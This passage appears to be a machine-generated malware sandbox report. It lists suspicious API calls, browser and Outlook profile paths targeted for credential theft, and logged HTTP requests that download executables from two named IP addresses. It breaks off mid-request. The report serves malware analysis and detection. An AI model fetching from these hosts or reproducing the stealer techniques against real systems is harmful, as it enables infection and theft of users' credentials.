Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00004204.00000000.70154.00BE0000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004204.00000000.70154.00BE0000.00000004.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "SysFreeString"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "CreateFontA"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "WSASend"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "SysFreeString"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "CreateFontA"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "CryptUnprotectData"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "SetupDiEnumDeviceInterfaces"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API (Indicator: "RtlUnicodeStringToAnsiString"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp")3c:T87b,"%APPDATA%\Opera Software\*" in Source: 00000000-00007764-00000C27-23008932220 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00007764-00000C27-25066879628 "e\Software\Mic" in Source: 00000000-00004036.00000000.68664.035F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004036.00000000.68664.035F0000.00000004.mdmp 00000000-00004036.00000001.70585.03633000.00000004.mdmp 00000000-00004036.00000002.72505.03633000.00000004.mdmp "stry\Machine\Software\Classes\MIME\Database\Content Type\application/octet-stream" in Source: 00000000-00004036.00000000.68664.035F0000.00000004.mdmp "Software\Enigma Protector\BB3DF1FDBB935E9B-50AFA6E27F8A32AF\1D23E801FF916F1C-DF69CE3484AE41BB" in Source: 00000000-00004036.00000000.68664.05C10000.00000040.mdmp 00000000-00004036.00000001.70585.05C10000.00000040.mdmp 00000000-00004036.00000002.72505.05C10000.00000040.mdmp "stry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004036.00000001.70585.03633000.00000004.mdmp 00000000-00004036.00000002.72505.03633000.00000004.mdmp "S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004036.00000001.70585.03633000.00000004.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00006224.00000000.68161.035F0000.00000004.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00006224.00000000.68161.035F0000.00000004.mdmp "Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00006224.00000000.68161.035F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00006224.00000000.68161.035F0000.00000004.mdmp "Software\Enigma Protector\BB3DF1FDBB935E9B-50AFA6E27F8A32AF\1D23E801FF916F1C-DF69CE3484AE41BB" in Source: 00000000-00006224.00000000.68161.05810000.00000040.mdmp3d:Tc54,"_cN98WdsB1IEWbc3Zx4D.exe" failed to load missing module "%WINDIR%\System32\Windows.UI.AppDefaults.dll" - [base:0; Status:c0000135] "HaHIGF310vbb4fU3fDiY.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "HaHIGF310vbb4fU3fDiY.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "HaHIGF310vbb4fU3fDiY.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "HaHIGF310vbb4fU3fDiY.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "HaHIGF310vbb4fU3fDiY.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "rdx1122.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "rdx1122.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "rdx1122.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "rdx1122.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "rdx1122.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "rdx1122.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "rdxx1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135]3e:T440,Observed unmanaged function "DrawIcon" in "rdx1122_1_.exe" Observed unmanaged function "ShowWindow" in "rdx1122_1_.exe" Observed unmanaged function "VirtualFree" in "rdx1122_1_.exe" Observed unmanaged function "WaitForSingleObjectEx" in "rdx1122_1_.exe" Observed unmanaged function "VirtualProtect" in "rdx1122_1_.exe" Observed unmanaged function "CreateRemoteThread" in "rdx1122_1_.exe" Observed unmanaged function "OpenProcessToken" in "niks_1_.exe" Observed unmanaged function "CloseHandle" in "niks_1_.exe" Observed unmanaged function "ImpersonateLoggedOnUser" in "niks_1_.exe" Observed unmanaged function "GetUserName" in "niks_1_.exe" Observed unmanaged function "OpenSCManagerW" in "niks_1_.exe" Observed unmanaged function "OpenServiceA" in "niks_1_.exe" Observed unmanaged function "StartService" in "niks_1_.exe" Observed unmanaged function "ControlService" in "niks_1_.exe" Observed unmanaged function "ChangeServiceConfig" in "niks_1_.exe" Observed unmanaged function "LoadLibrary" in "niks_1_.exe" Observed unmanaged function "GetProcAddress" in "niks_1_.exe"3f:T61a,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "974c9.Trojan.exe") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "974c9.Trojan.exe") Found string "https://www.youtube.com" (Indicator: "youtube"; File: "974c9.Trojan.exe") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") file/memory contains long string with (Indicator: "youtube"; File: "urlref_httpswww.youtube.com") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/" (Indicator: "youtube"; Source: "00000000-00007248-00000C41-4634346634") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login" (Indicator: "facebook.com"; Source: "00000000-00007248-00000C41-8188325972") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com" (Indicator: "youtube"; Source: "00000000-00007248-00000C41-24903421298") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/login" (Indicator: "facebook.com"; Source: "00000000-00007248-00000C41-29685924706") Found string "--single-argument https://www.youtube.com/" (Indicator: "youtube"; File: "msedge.exe") Found string "--single-argument https://www.facebook.com/login" (Indicator: "facebook.com"; File: "msedge.exe")40:T205c,"GET /cost/ko.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:40:40 GMT Content-Type: application/octet-stream Content-Length: 918016 Last-Modified: Sat 27 Jan 2024 08:23:05 GMT Connection: keep-alive ETag: "65b4bd69-e0200" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /mine/amers.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.215.113.68 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:40:44 GMT Content-Type: application/octet-stream Content-Length: 809472 Last-Modified: Sat 27 Jan 2024 08:22:56 GMT Connection: keep-alive ETag: "65b4bd60-c5a00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000008010000....... "GET /cost/niks.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 27 Jan 2024 00:40:46 GMT Content-Type: application/octet-stream Content-Length: 62976 Last-Modified: Sat 27 Jan 2024 08:22:59 GMT Connection: keep-alive ETag: "65b4bd63-f600" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /cost/vinu.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 